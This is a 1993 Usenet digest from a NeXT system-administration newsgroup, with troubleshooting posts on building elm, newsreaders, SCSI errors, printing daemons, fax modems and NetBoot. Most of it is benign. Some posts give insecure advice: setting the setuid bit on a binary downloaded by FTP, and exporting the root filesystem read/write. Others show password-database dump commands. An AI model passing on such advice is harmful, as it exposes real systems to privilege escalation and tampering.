Message-ID: <1mdlfgINNqt4@intercon.intercon.com>
Hi,
I posted a message here a while ago asking if anyone had top running. Bryce
Jasmer emailed me a copy of top that runs just fine, so if anyone needs it, it
can be anonymous FTP'd from vector.intercon.com in /pub/next/top
You will have to chmod u+s top when you get it.
David.
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From: support@gateway.vvi.com (support at VVI)
Newsgroups: comp.sys.next.sysadmin
Subject: trn with INN
Date: 23 Feb 1993 17:45:44 GMT
Organization: VVimaging, Inc.
Distribution: world
Message-ID: <1mdns8$28k@gateway.vvi.com>
Keywords: trn, INN
Has anyone gotten trn with INN working on the NeXT? Is there a version of
TRN that supports INN?
Thank you kindly in advance,
Ed VanVliet
ed@vvi.com
From: eboltz@jhunix.hcf.jhu.edu (Eric Scott Boltz)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.hardware
Subject: SCSI Errors - Plea for help!
Date: 23 Feb 1993 13:30:04 -0500
Organization: Homewood Academic Computing, Johns Hopkins University, Baltimore, Md, USA
Distribution: world
Message-ID: <1mdqfcINN251@jhunix.hcf.jhu.edu>
HELP!
Seems as if I'm having some Major! SCSI troubles.
I have a Fujitsu 2652SA hard disk mounted externally as sd1 and am getting
the following on the console:
sd1 (4,0): ERROR op:0x28 sd_state:2 scsi_status:0x0
IO error on pageout: error=5
vnode_pageout:failed!
When this happens, directories and files on the disk start disappearing and
the whole system eventually has to be rebooted.
This is a relatively new problem (couple days) and I've had the disk up
and running just fine since December '92.
If anyone has any ideas please send them!
THANKS!
Eric
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From: erik@turtle.psych.umn.edu (Erik Arthur)
Newsgroups: comp.sys.next.sysadmin
Subject: nn /nntp with NS 3.0
Keywords: nn
Message-ID: <C2x20s.5Jt@news.cis.umn.edu>
Date: 23 Feb 93 19:26:35 GMT
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Hi,
I think that I am having a problem with nn running as an nntp
client. I got nn compiled and it runs fine, but the
/usr/spool/nn/DATA directory keeps growing. It is now 24 megs.
I compiled nn with the nntp switch on and nnadmin says that
nntp is running but I can't help thinking that the size of the
news indices are way too big. Does anyone have a feel for how
big the DATA directory should be with ~5000 groups? Thanks for
the help in advance
Erik Arthur
erik@turtle.psych.umn.edu
From: eoliver@ralph.cs.haverford.edu (Erik Oliver)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: trn with INN
Date: 23 Feb 1993 19:39:38 GMT
Organization: Haverford College Computer Science Department
Distribution: world
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Keywords: trn, INN
In article <1mdns8$28k@gateway.vvi.com> support@gateway.vvi.com (support at VVI) writes:
>Has anyone gotten trn with INN working on the NeXT? Is there a version of
>TRN that supports INN?
>
>Thank you kindly in advance,
>Ed VanVliet
>ed@vvi.com
As to trn on on the NeXT, we downloaded a pre-compiled version from
purdue I believe which is working with an INN 1.3 server on a SUN.
No problems to date, and I did _not_ compile INN 1.3 to support trn,
e.g. I did not follow the instructions in the INN docs to fix a
header file.
-Erik
From: toon@moene.indiv.nluug.nl (Toon Moene)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: CSLIP vs. SLIP....
Message-ID: <429@moene.indiv.nluug.nl>
Date: 23 Feb 93 20:45:16 GMT
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In article <CEDMAN.93Feb22075949@capitalist.princeton.edu>
cedman@princeton.edu (Carl Edman) writes:
: In article <C2u5E6.FvD@ux1.cso.uiuc.edu> lemson@ux1.cso.uiuc.edu (David
Lemson) writes:
: >In article <dillon.0uvp@overload.Berkeley.CA.US>
dillon@overload.Berkeley.CA.US (Matthew Dillon) writes:
: > The only real difference is with small packets --- i.e.,
typing. If
: > you are satisfied with the echo-response of your typing over
SLIP
: > then you do not really need CSLIP.
:
: >That's true, but then again if you are satisfied with the
interactive
: >performance of SLIP, you must be running SLIP over Ethernet. :-)
:
: I am truly satisfied with the interactive performance of my SLIP
: over v.32bis/v.42bis. It is as fast as a 8088 PC running NCSA Telnet
: connected via ethernet or a Mac running NCSA Telnet connected via
: Ethernet. It's as fast as I need, even as I type this message using
: vi. Of course, I wish binary file transfers went faster, but CSLIP
: won't help this much.
: Could it be that those packet headers are being compressed by
: v.42bis a whole bunch, and that's what causing my fairly good
; speed?
:
: As it so happens I wrote a short note to Matthew Dillon on this
: subject a few minutes ago. Here is the text.
:
: Forgive me, but I disagree. I run SLIP over a pair of V32.bis V42.bis
: modems (ie. 14,400 bps with LAP/M) with the serial ports configured to
: 38,400 bps and interactive performance is barely as good as a direct
: connection at 2400 bps (except, that is for lengthy output -- a 'ls'
: of a long directory is of course much faster). If you look at the VJ
: TCP header compression used by CSLIP you find that most of the schemes
: used for compression actually are reasonably clever in a way in which
: the LZW derivative which LAP/M uses couldn't be. For example, the
: default packet number for each header is the old packet number + 1.
: None of the standard compression algorithms I know of, would be clever
: enough to detect that pattern and compress it away.
:
: Carl Edman
This is all covered quite nicely in RFC1144, which goes with your friendly
(C)SLIP implementation :-)
(Hi Louie - I never received an answer to my mail at or shortly after 20th
of December last year - did you ever receive it ?)
--
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Kantershof 269, 1104 GN Amsterdam, The Netherlands
Phone: + 31 20 6982029; Fax: + 31 20 6003411
No Disclaimers; a NeXT at home protects against this occupational hazard.
From: gthomas@unixg.ubc.ca (Guy R Thomas)
Newsgroups: comp.sys.next.sysadmin
Subject: elm2.4pl21 on NeXTSTEP 2.2 What obscure incantation works?
Date: 23 Feb 93 20:45:42 GMT
Organization: The University of British Columbia
Message-ID: <gthomas.730500342@unixg.ubc.ca>
The FAQ says that the NeXT specific changes to the Configure script
need to be updated. Does anyone have elm up on NeXTSTEP 2.2?
I have tried to compile it but the option -bsd to the compiler
produces an error. Removing -bsd gets redefinition warnings in the
first module. In total, thus far, a very frustrating experience.
I would appreciate even notification of the success of someone else
to help reassure me that it is possible :-).
Thanks,
Guy
gthomas@native-ed.bc.ca
Newsgroups: comp.sys.next.sysadmin
From: anderson@macc.wisc.edu (Jess Anderson)
Subject: Re: elm2.4pl21 on NeXTSTEP 2.2 What obscure incantation works?
Message-ID: <1993Feb24.010437.8494@macc.wisc.edu>
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References: <gthomas.730500342@unixg.ubc.ca>
Date: Wed, 24 Feb 93 01:04:37 GMT
In article <gthomas.730500342@unixg.ubc.ca> gthomas@unixg.ubc.ca (Guy R Thomas) writes:
>The FAQ says that the NeXT specific changes to the Configure script
>need to be updated. Does anyone have elm up on NeXTSTEP 2.2?
>
>I have tried to compile it but the option -bsd to the compiler
>produces an error. Removing -bsd gets redefinition warnings in the
>first module. In total, thus far, a very frustrating experience.
I had 2.3pl11 running under NS 2.1, but I tossed my notes on
how to do it when I upgraded to NS 3.0. One big difference
was that include directories were rearranged.
I *definitely* used ccflags='-bsd -fwritable-strings' and I think
I used libc='/lib/libsys_s.a' (but you might check to make sure
that's where libsys_s.a actually is). I'm sure I also used
ldflags='-lsys_s'. But a lot of things changed in elm on the way to
2.4, and some of your problem may lie there.
I seem to remember that include='usr/include' was the standard
place in 2.x. The problems you're having *may* come from additional
things needed with elm 2.4 that were not there in 2.3. For instance,
you'll need sigtype='int' and memcpy='undef', plus
nametype='bsd'
d_passnames='undef'
d_berknames='undef'
d_usgnames='undef'
As only dot locking was available, you'll need
d_flock='undef'
d_dotlock='define'
d_fcntlock='undef'
(All of these in config.sh, which you have to run all the *SH
file against before doing the make.
Here's a script I use (snip it out and put it in your elm directory,
make it executable with chmod +x and run it after editing
config.sh manually:
sh Makefile.SH
sh config.h.SH
cd doc
\rm -f config.sh
sh Makefile.SH
cd ../filter
\rm -f config.sh
sh Makefile.SH
cd ../hdrs
\rm -f config.sh
sh sysdefs.SH
cd ../lib
\rm -f config.sh
sh Makefile.SH
cd ../src
\rm -f config.sh
sh Makefile.SH
cd ../utils
\rm -f config.sh
sh Makefile.SH
sh checkalias.SH
sh messages.SH
sh printmail.SH
cd ..
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[Internet: anderson@macc.wisc.edu <-best, UUCP:{}!uwvax!macc.wisc.edu!anderson]
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Newsgroups: comp.sys.next.sysadmin
From: anderson@macc.wisc.edu (Jess Anderson)
Subject: Re: elm2.4pl21 on NeXTSTEP 2.2 What obscure incantation works?
Message-ID: <1993Feb24.011906.9088@macc.wisc.edu>
Sender: news@macc.wisc.edu (USENET News System)
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References: <gthomas.730500342@unixg.ubc.ca> <1993Feb24.010437.8494@macc.wisc.edu>
Date: Wed, 24 Feb 93 01:19:06 GMT
In article <1993Feb24.010437.8494@macc.wisc.edu>
anderson@macc.wisc.edu (Jess Anderson) writes:
Sorry, I had intended to mail this, not post it. Now that I
look at it again, I think there's at least one mistake here:
>>I have tried to compile it but the option -bsd to the compiler
>>produces an error. Removing -bsd gets redefinition warnings in the
>>first module. In total, thus far, a very frustrating experience.
>I had 2.3pl11 running under NS 2.1, but I tossed my notes on
>how to do it when I upgraded to NS 3.0. One big difference
>was that include directories were rearranged.
>I *definitely* used ccflags='-bsd -fwritable-strings' and I think
>I used libc='/lib/libsys_s.a' (but you might check to make sure
>that's where libsys_s.a actually is). I'm sure I also used
>ldflags='-lsys_s'. But a lot of things changed in elm on the way to
ldflags is the wrong keyword; libs='-lsys_s' makes more
sense.
>2.4, and some of your problem may lie there.
>
>I seem to remember that include='usr/include' was the standard
>place in 2.x. The problems you're having *may* come from additional
>things needed with elm 2.4 that were not there in 2.3. For instance,
>you'll need sigtype='int' and memcpy='undef', plus
>nametype='bsd'
>d_passnames='undef'
>d_berknames='undef'
>d_usgnames='undef'
I have mail from a couple people who did this differently from
me. However, that's what I have now, and it seems to work.
>As only dot locking was available, you'll need
(I think; it's what I have now)
>d_flock='undef'
>d_dotlock='define'
>d_fcntlock='undef'
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Newsgroups: comp.mail.elm,comp.sys.next.sysadmin
From: anderson@macc.wisc.edu (Jess Anderson)
Subject: Elm on NeXT machines: help needed for FAQ
Message-ID: <1993Feb24.040038.14808@macc.wisc.edu>
Followup-To: poster
Sender: news@macc.wisc.edu (USENET News System)
Organization: Madison Academic Computing Center, UW-Madison
Date: Wed, 24 Feb 93 04:00:38 GMT
[Note: the Followups-To: line has been set to poster; I
think the better newsreaders recognize this as a signal to
direct followups to me by email.]
For some time, I've been supporting Elm users running on
NeXT machines. I'm trying to get complete and accurate
information about several matters, since there seems to be a
variety of options that work, yet would seem to make a
difference.
In the best of all possible worlds, a member of the Elm
development team would have a NeXT and be interested in
these problems; from what I can tell, there doesn't seem to
be any such person. This is cross-posted to comp.mail.elm
and comp.sys.next.sysadmin in an effort to snag someone
who's knowledgeable in both realms *and* willing to help
out.
Ideally, it would be wonderful if Configure would recognize
that it's being run on a NeXT (actually, it does recognize
that, but doesn't make use of the fact).
I'm interested primarily in compiling and running Elm under
NeXTstep 3.0, though I note people running with NS2.x are
also having problems (different ones, of course). At least
I can compile it and run with apparent success, which the
2.x folks either can't or haven't told me about.
So that's one thing: if you have Elm2.4PL21 (not interested
in earlier versions, though) going under NS2.1 or 2.2, I'd
like to know how you did it.
For NS3.0, here's the part I think is *for sure*:
At the shell escape at the end of Configure, you *must* do
these two changes (I also made other changes, about which
more below):
[johann:anderson]Elm[6] diff config.sh.raw config.sh
12c12
< d_memcpy='define'
---
> d_memcpy='undef'
275c275
< sigtype='void'
---
> sigtype='int'
Oddly, Configure says it finds a memcpy(), but for some
reason the compilation won't work if you leave it defined (I
think making it undefined makes Elm use its own, or
something).
Also, as things presently stand, you have to change two header
files in the sources, to bypass references to unistd.h, which
does not exist for NeXT. Jeff Nicholson-Owens did this more
elegantly than I did, taking advantage of the symbol 'NeXT',
which Configure does define (here's where):
Your C preprocessor defines the following symbols:
mc68000
unix
__STDC__
NeXT
Here are Jeff's diffs on the two header files (hope he
doesn't mind):
{Don't neglect to keep the originals, obviously.}
$ diff hdrs/defs.h hdrs/defs.h.orig
498,499c498
< #ifndef NeXT
< # ifndef ANSI_C /* ANSI puts these in string.h */
---
> #ifndef ANSI_C /* ANSI puts these in string.h */
505,508c504,506
< # else
< # include <unistd.h> /* ansi C puts sleep, lseek and fseek in unistd.h */
< # endif
< #endif /* NeXT */
---
> #else
> # include <unistd.h> /* ansi C puts sleep, lseek and fseek in unistd.h */
> #endif
$ diff hdrs/filter.h hdrs/filter.h.orig
217,219c217
< # ifndef NeXT
< # include <unistd.h> /* NeXT doesn't have this header file */
< # endif /* !NeXT */
---
> #include <unistd.h>
Now we get into things that depend on how you answer
questions during Configure. I took the defaults on
everything except these:
Give the name of the program used to format the Elm
documentation on your system: [/usr/bin/troff] /usr/bin/ptroff
What options should Elm use with /usr/bin/ptroff: [] -t
Any additional cc flags? [none] -bsd -fwritable-strings
What is your domain name? [.UUCP] .bach.madison.wi.us
{This is my home machine I'm talking about}
What is the full path name of the include file directory? []
/usr/include/bsd
Should support for MIME be compiled in? [n] y
So far so good, though I have a fair number of questions that
arise from what Configure says about what it sees.
I made the following further changes to config.sh before
proceeding. It isn't clear they are necessary (though I can
swear it's working, so they don't seem to hurt, at least):
220c220
< d_tzname='define'
---
> d_tzname='undef'
This I did because otherwise I got a crazy large number
for the time offset, like this:
Date: Tue, 16 Feb 1993 01:48:26 -36803936 (CST)
What Configure says about this is strange:
tzname() found
/usr/include/time.h: No such file or directory
/usr/include/sys/time.h: No such file or directory
You have timezone defined in /usr/include/time.h /usr/include/sys/time.h
rather than tz_minuteswest.
Anyway it looks like another requirement is d_tzname='undef'
(compiles either way, but works right if you do it, which is
a good test :-).
NeXTs have this peculiar network management system called
NetInfo, as a result of which /etc/passwd is normally not
referred to (god knows what kind of mess occurs if you use
NIS). The password file is otherwise normal looking (here's
an edited one), but it's kept in the NetInfo database,
whence it can be obtained by a special dump command:
root:<secret>:0:1:System Administrator:/:/bin/csh
anderson:<secret>:21:0:Jess Anderson:/Users/anderson:/bin/csh
ftp:*:9:-2:Anonymous FTP:/ftp:/bin/false
This leads to this diff in config.sh:
271c271
< passcat='cat /etc/passwd'
---
> passcat='nidump passwd /'
It isn't clear to me, though, that (at least in my own case)
this is ever actually used. Btw, that / is the root of the
NetInfo database, not the root of the file system.
Since I took all the defaults except those already mentioned,
the unedited config.sh has:
nametype='other'
d_passnames='undef'
d_berknames='undef'
d_usgnames='undef'
One person wrote me that he left nametype as 'other' and
changed d_passnames to 'define', since this gets the
personal name of another user on the same machine into the
header. This problem does not arise in my own case; all
users I mail to are on other machines, though a couple of
them also have accounts on mine (thank heavens for aliases,
eh?).
Instead I set nametype='bsd':
267c267
< nametype='other'
---
> nametype='bsd'
I've forgotten what not doing it causes; compiler errors, I
seem to remember. I don't have a ~/.fullname, that I know,
which is what Configure says will be used.
NeXTs are BSDish widgies, so I also use this, without being
sure it's necessary (I think it is, but somebody asked me
about it, and I don't know the answer):
281c281
< d_bsd='undef'
---
> d_bsd='define'
OK (sorry about the length here). One final thing, about setuid/
setgid on the mail spool:
My /usr/spool/mail has these permissions:
drwxrwxrwt 2 root wheel 1024 Feb 23 19:53 mail/
Yet I answered (the default) to
Am I going to be running as a setgid program? [y]
ignoring the immediately preceding warning, because it looks
like (I'd like to be sure) the next thing Configure does is
tell me I have to install it as root (no problem), and then
checks whether I can switch between real and effective gid
values. I'm not sure, but it looks like I can, since the
default says yes, and I have no locking problems.
setgid programs are bad things, right? I should change
this, I guess, but will something break? What I mean is,
what are the consequences other than maybe improved
security?
I'll attempt something like a summary, if help arrives. I'd
like to get the straight poop into the FAQ eventually.
--
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From: hardy@golem.ps.uci.edu (Meinhard E. Mayer (Hardy))
Newsgroups: comp.sys.next.sysadmin
Subject: Re: How does one back up to multiple floppies with gnutar?
Message-ID: <HARDY.93Feb24001937@golem.ps.uci.edu>
Date: 24 Feb 93 08:17:52 GMT
References: <HARDY.93Feb22232252@golem.ps.uci.edu>
Organization: Department of Physics, UC Irvine, CA 92717-4575, USA
In-reply-to: hardy@golem.ps.uci.edu's message of 23 Feb 93 07:21:11 GMT
Thanks to all who sent suggestions/scripts, and to Greg Cockroft of
Agog for pointing out what I did wrong with Squash.
Squash still turned out to be the simplest solution for archiving to
multiple floppies.
--
Hardy
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From: root@cs.columbia.edu (Operator)
Subject: NetInfo: /users/<name>/info
Message-ID: <C2y6CF.BL1@cs.columbia.edu>
Sender: news@cs.columbia.edu (The Daily News)
Organization: Columbia University Department of Computer Science
Date: Wed, 24 Feb 1993 09:57:51 GMT
In the process of a niload -d I discovered the /users/name/info
'directories', 'owner'-writable. None of them seem to have been used for
anything yet, though, and I was wondering if anybody _has_ seen theirs
used, and if so, how?
Thanks.
- Lee
From: gonzo@cs.tu-berlin.de (S. F. Ruehauf)
Newsgroups: comp.sys.next.sysadmin
Subject: index and Mail
Date: 24 Feb 1993 11:06:58 GMT
Organization: Technical University of Berlin, Germany
Message-ID: <1mfksj$f9h@news.cs.tu-berlin.de>
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
hello
Why is ist impossible to index mail?
Whenevvedr I try to, I always get the title list but will not find anything
the mail body.
Is there a problem with the filename-extension, the file-attributes?
Did somebody out there index his/her homedir?
thanx in advance
SfR
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From: steve@estel.uindy.edu (Steve Spicklemire)
Newsgroups: comp.sys.next.sysadmin
Subject: CAP, EtherPrint Plus, thinwire etc
Date: 24 Feb 1993 14:37:26 GMT
Organization: Truevision Inc., Indianapolis, IN
Distribution: world
Message-ID: <1mg176INNc2c@epic.truevision.com>
Hi,
I am about to expose the vast wasteland that is my ignorance, so
be prepared. I am trying to do two things at once (I should know better)
but as they *are* related, I thought it might save time. I want to (1)Set
up CAP on my NeXT here, at the Universiry, so that folks on Macs can share
my hard disk and (2) help a friend of mine connect his localTalked Macs at
home to his NeXT so that he can print to the NeXT printer, share files,
etc. CAP looks like it might be the way to go here as well. Some
questions:
(a) Where is the latest CAP for NeXT. I have built a version I found at
gatekeeper.dec.com, but I don't know if it's the latest. It doesn't seem
to support native EtherTalk for the NeXT which I will need for (2) above.
Does the latest version support direct EtherTalk (i.e. *not* just IPTalk?)
(b) Is it possible to do the following?
NeXT 10baseT <---------->| EtherPrintPlus |--- LocalTalk Macs...
i.e. can I put a NeXT and an EtherPrint Plus on a single line of twisted
pair and expect it to work with no repeater? Do I have to do anything to
the wire (e.g., swap lines etc.?) to make this work. I've tried this at
work with a NeXT on thin wire, connected to a repeater, and the EtherGate
connected to a (different) 10baseT repeater and it works O.K. (e.g., I can
mount the Mac drive 'through' the EtherPrint Plus.)
(c) is there anything special you need to do to tell the NeXT to use the
10baseT port rather than the thin wire port? I've had some problems here
getting the NeXT to correctly claim that it was connected to the network
when on 10baseT. A Mac, using the same wire, works fine (using an Asante
multiport enet card).
(d) At the Universty we have several GatorBoxen. I suppose even if CAP
doesn't do direct EtherTalk, the GatorBox allows IPTalk to be converted to
EtherTalk. We are *not* currently using the Gatorboxen to do IP tunneling.
Should I turn *on* IP tunneling, or leave it off for CAP?
thanks!
-steve
--------------------------< cut here >----------------------------
Steve Spicklemire (317) 788-3313 steve@estel.uindy.edu
Dept of Mathematics and Physics NeXTmail Welcome!
1400 East Hanna Avenue, 46227
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From: bill@leeweyr.sccsi.com (Bill Lee)
Subject: FaxDaemon dying
Message-ID: <1993Feb24.033944.380@leeweyr.sccsi.com>
Organization: Lee Aerie
Date: Wed, 24 Feb 1993 03:39:44 GMT
I am running a Neuron 1414 system on my 2.1 NeXT. Lately I have
been having trouble with the FaxDaemon dying. I will look one minute
and it's there, and the next it is gone. And when it's gone, my
uucp feed is dead.
It seems to occur (observation this evening) when I get an incoming
call from (presumably) my e-mail/USENET feed system and trouble is
encountered. The phone rang, the modem answered, but there never
appeared to be a proper connection made. A moment or so later, I
looked and the daemon was gone.
I keep an eye on the LOGFILE and no messages are logged. Nothing
appears in the SYSLOG.
How can I figure out what's happening? Should there be any messages
logged somewhere? Can I start the daemon (in rc) so that it will
be more fluent with information?
I'm really looking for some help since this is becoming annoying.
I am not a professional sysadmin, just someone who enjoys the NeXT
as my home computer. Any advice will be appreciated.
Regards,
Bill Lee
ps: While we're at it, what does the message
ASSERT ERROR (uucico) pid: 256 (2/23-21:07) BAD SPEED (-1)
in /usr/spool/uucp/ERRLOG mean? At times I am unable to make
connection via uupoll and this is the message logged.
Newsgroups: comp.sys.next.sysadmin
From: andrew@uaneuro.uah.ualberta.ca (Andrew Penn)
Subject: Digital Librarian
Message-ID: <1993Feb24.183537.16823@kakwa.ucs.ualberta.ca>
Sender: news@kakwa.ucs.ualberta.ca
Organization: University Of Alberta, Edmonton Canada
Date: Wed, 24 Feb 1993 18:35:37 GMT
Is it possible to make Digital Librarian work with Write Now files. We
tried one fix in the past with no success and I wondered if it was
actually possible before retackling.
Also is our NeXT Printers extreme difficulty with printing via manual feed
and good quality stationary a terminal design fault or is it a reversible
lesion!
Andrew Penn
andrew@uaneuro.uah.ualberta.ca
Newsgroups: comp.sys.next.sysadmin
From: camilleg@cmp-rt.music.uiuc.edu (Camille M. Goudeseune)
Subject: how to restart lpd?
Date: Wed, 24 Feb 1993 19:04:43 GMT
Message-ID: <C2yvnv.GxC@news.cso.uiuc.edu>
Sender: usenet@news.cso.uiuc.edu (Net Noise owner)
Keywords: printing daemon
Organization: University of Illinois School of Music
From yet another struggling sysadmin... Running 2.1, every few days lpd
stops working.
Symptoms: from Preview, the "can't print" dialog;
from lpr, things go into the queue but just pile up there.
Solutions: Mucking around with lpc is to no avail. restart or start
creates the daemon for a little while and then it dies again.
Rebooting works, but is inconvenient when you're halfway through a
3 cpu-day process.
Questions: (1) Is there another way to restore normality to the printing
subsystem? (2) From this meager description, are there known "features"
in Mach that could cause this behaviour?
I'll followup with a summary. Thank you!
Camille Goudeseune
UIUC Computer Music Project
Newsgroups: comp.sys.next.sysadmin
From: jcorallo@ccsi.com (P. John Corallo)
Subject: Re: NetBoot client refuses user logins
Message-ID: <1993Feb23.142443.234@ccsi.com>
Sender: jcorallo@ccsi.com
Organization: Crystal Computer Systems, Inc.
References: <1993Feb22.161213.13087@linus.mitre.org>
Date: Tue, 23 Feb 1993 14:24:43 GMT
In article <1993Feb22.161213.13087@linus.mitre.org>
wherndon@smiley.mitre.org (William Herndon) writes:
> OK all you NeXT sysadmin gurus: I've got a problem that probably
has
> a simple solution, but I can't seem to find it.
>
> I have an 030 cube that is acting as a NetBoot client off of an 040
> station. I've done all of the usual setup, including:
>
> - Creating and exporting /clients/<cubename> (read/write/root) to
> the the cube.
> - Exporting / to the cube (read-only)
> - Identifying the cube and the station in the NetInfo database.
> - Identifying the necessary user accounts as "network".
>
> OK, so the cube loads and boots NeXTStep and mach with a couple of
> error messages that don't seem to inhibit startup and login. ( One
> seems to have to do with linking to, or linking, the "kern_loader".
> The other says something about giving up on the station's hostname,
> about it not being in the database. ) Anyway, the cube DOES come
up,
> and I can log in as root or as "me". However, logging in under any
> of network user accounts fails. ( The workspace acts as if I'd en-
> tered an incorrect password. )
>
> What might be the problem? Does it have to do with exporting the
> network user's home directories via NFS, or perhaps making them
> available through NetInfo? I'm stumped and any help would be
> appreciated.
>
> Thanks much.
>
Try exporting / to the netboot client as read/write that may help your
problem.
Newsgroups: comp.sys.next.sysadmin
From: korp@eid.anl.gov (Peter A. Korp)
Subject: Root can't log in from console anymore, anyone else can...
Message-ID: <1993Feb24.221657.17626@mcs.anl.gov>
Keywords: 2.1, Upgrade.app, root, seg fault
Sender: usenet@mcs.anl.gov
Organization: Argonne National Laboratory, Argonne, Illinois
Date: Wed, 24 Feb 1993 22:16:57 GMT
I have a 68040 single headed ND Cube running 2.1 that has had the
Upgrade.app for 3.0 run but never actually upgradedto 3.0. It is on a
network of Suns and is served by a Sun via YP(NIS).
My problem is as follows: any user local or remote can login on the
console with no problem. But trying to log in as root brings up the
workspace and immediatly causes an alert panel to pop up saying signal 10
internal error, segmentation violation.. blah blah blah...
I have tried removing roots .NeXT directory changing the defaults database
to the same as on other machines all to no avail.
Any suggestions?
--
Peter A. Korp
Assistant Scientist
Argonne National Laboratory
korp@eid.anl.gov
Newsgroups: comp.sys.next.sysadmin
From: collis@lele-next2.Stanford.EDU (Samuel Scott Collis)
Subject: Workspace font
Message-ID: <1993Feb24.223247.7356@leland.Stanford.EDU>
Sender: news@leland.Stanford.EDU (Mr News)
Organization: DSO, Stanford University
Date: Wed, 24 Feb 93 22:32:47 GMT
I realize this is a rather basic question, but could some nice person tell
me how to change the workspace font (i.e. the font in title bars). My
computer crashed and in the process screwed up my default font somehow.
Thanks,
--
Scott Collis
Department of Mechanical Engineering
Stanford University
collis@lele-next2.stanford.edu
(415) 725-3318
Newsgroups: comp.sys.next.sysadmin
From: tlm@iastate.edu (Tom Marchioro)
Subject: Re: Digital Librarian
Message-ID: <tlm.730591804@scl1.al.iastate.edu>
Sender: news@news.iastate.edu (USENET News System)
Organization: Iowa State University, Ames IA
References: <1993Feb24.183537.16823@kakwa.ucs.ualberta.ca>
Date: Wed, 24 Feb 1993 22:10:04 GMT
In <1993Feb24.183537.16823@kakwa.ucs.ualberta.ca> andrew@uaneuro.uah.ualberta.ca (Andrew Penn) writes:
>Also is our NeXT Printers extreme difficulty with printing via manual feed
>and good quality stationary a terminal design fault or is it a reversible
>lesion!
Hmm...I've had no trouble with either of these, though with good paper it's
sometimes help to "fluff" the paper before putting it in the tray since
some good paper tends to stick a bit. I use manual feeding all the time,
since I'm kinda cheap and recycle the back sides of plots etc. by feeding
them in again by hand.
Tom
Newsgroups: comp.sys.next.sysadmin
From: clarance@nshade.uah.ualberta.ca (Clarance Howett)
Subject: Re: talk, rwho, printer questions
Message-ID: <1993Feb24.234112.26728@kakwa.ucs.ualberta.ca>
Sender: news@kakwa.ucs.ualberta.ca
Organization: University Of Alberta, Edmonton Canada
References: <1m3aom$he7@news.cs.tu-berlin.de>
Date: Wed, 24 Feb 1993 23:41:12 GMT
In article <1m3aom$he7@news.cs.tu-berlin.de> gonzo@cs.tu-berlin.de (S. F.
Ruehauf) writes:
>
>
> Hello admins
>
> I've got a few questions
>
> 2- 'rusers' is a sytemV routine. rwho is bsd.
> Why doesn't NeXT, right out of the box, support rwho? :
> sfr@dasburo 73 (~) > rwho
> /usr/spool/rwho: No such file or directory
>
Well maybe it doesn't support it 'right' out of the box but all you have
to do is create the directory and run the deamon. That does no seem like
that bad a deal.
----
Clarance Howatt
Newsgroups: comp.sys.next.sysadmin
From: gerben@rna.indiv.nluug.nl
Subject: .forward does not work with NeXT sendmail?
Message-ID: <1993Feb24.204131.13304@rna.indiv.nluug.nl>
Sender: gerben@rna.indiv.nluug.nl (Gerben Wierda)
Organization: G.R.O.S.S.
Date: Wed, 24 Feb 1993 20:41:31 GMT
I seem to be unable to get ~/.forward to work. I have a .forward file in my
home directory, but it seems to be unused by sendmail. (The man page of aliases
mentions it). Even running newaliases doesn't help.
Has NeXT removed the functionality because of some Netinfo hack, or what?
Help is very much appreciated (since I am leaving for 2 weeks tomorrow, and i
want it functional before my departure).
--Gerben
--
Gerben Wierda [NeRD:7539] Tel. (+31) 35 833539
"If you don't know where you are going, any road will
take you there." From the Talmud(?), rephrased in
Lewis Carroll, "Alice in Wonderland".
From: gopal@dworkin.wustl.edu (R.Gopalakrishnan)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.programmer,comp.os.mach,comp.sys.next,comp.sys.next.misc
Subject: Software for NeXT 3.0
Keywords: tcsh,X11R4
Message-ID: <38459@dworkin.wustl.edu>
Date: 25 Feb 93 00:16:21 GMT
Followup-To: poster
Organization: Washington University St. Louis, MO
Hi,
I'm looking for source (or binaries) of tcsh for the Next 3.0 platform.
Also do you have info about X11R4 for the Next in public domain.
Thanks.
You may reply to gopal@dworkin.wustl.edu
Newsgroups: comp.sys.next.sysadmin
From: bpja@codex.com.au (Brett Adam)
Subject: FAX MODEMS IN AUSTRALIA
Message-ID: <1993Feb25.010847.920@codex.oz.au>
Sender: bpja@codex.oz.au
Organization: Codex Software Development Pty Ltd
Date: Thu, 25 Feb 93 01:08:47 GMT
We're trying to find a fax modem that works with our (and our customers) NeXT
systems.
Trouble is, due to local regulations, we have to use an Austel Approved modem.
Not that many US brands are approved.
The modems I've been testing claim Class 2 support (pre March 1992 Class 2 spec
ratification however) and for whatever reason, the NeXT has varying degrees of
trouble talking with them.
In particular, the best we can acheive is that the modem dials, connects and
then immediately hangs up the line.
Does anyone have any insights into the realities of NeXT's Class 2 fax support,
and does anyone have any alternative fax drivers that may be more 'generic'
than the Interfax and HSD drivers supplied? We own a DoveFax and have tried
it's drivers as well, to no avail. (We can't use the DoveFax here legitimately
due to aforementioned approvals)
Any help appreciated. NeXT is great, but we've got people wondering how true
the advertised fax support really is ...
Regards,
Brett Adam
--
-------------------------------------------------------------------
Brett Adam
Xedoc Software Development Pty. Ltd. Melbourne, Australia
Phone : +61 3 696 2490
From: arnim@umn.edu (Arnim Walter Sauerbier)
Newsgroups: comp.sys.next.sysadmin
Subject: Installing PGP 2.0
Summary: Seeking help installing PGP email encryption on NS 2.2
Keywords: PGP, encryption, installation-problems
Message-ID: <C2zsCw.KzL@news.cis.umn.edu>
Date: 25 Feb 93 06:50:37 GMT
Article-I.D.: news.C2zsCw.KzL
Sender: news@news.cis.umn.edu (Usenet News Administration)
Organization: University of Minnesota
Has anyone built PGP on a NeXT? It's expecting a whole heapin' helpin
of library functions I ain't never heard of.
Arnim Sauerbier
Newsgroups: comp.sys.next.sysadmin
From: tisue@athens.uchicago.edu (Seth Tisue)
Subject: Deleting sync account
Message-ID: <1993Feb25.024650.19372@midway.uchicago.edu>
Sender: news@uchinews.uchicago.edu (News System)
Organization: Plaster Cramp Press
Date: Thu, 25 Feb 1993 02:46:50 GMT
Our machines came with the following system account:
athens 8:44pm ~> nidump passwd . | grep sync
sync::-2:-2::/:/bin/sync
I'd rather not have a password-less account. Is it safe to change the
password to *? How about to remove the account entirely?
--
== Seth Tisue (s-tisue@uchicago.edu)
"Beware of the wise/ Beware of the wise/ Lies, lies, lies" - Fred Frith
"Devote your life to a lost cause" - Jandek
Newsgroups: comp.sys.next.sysadmin
From: hitt@Xenon.Stanford.EDU (Daniel Hitt)
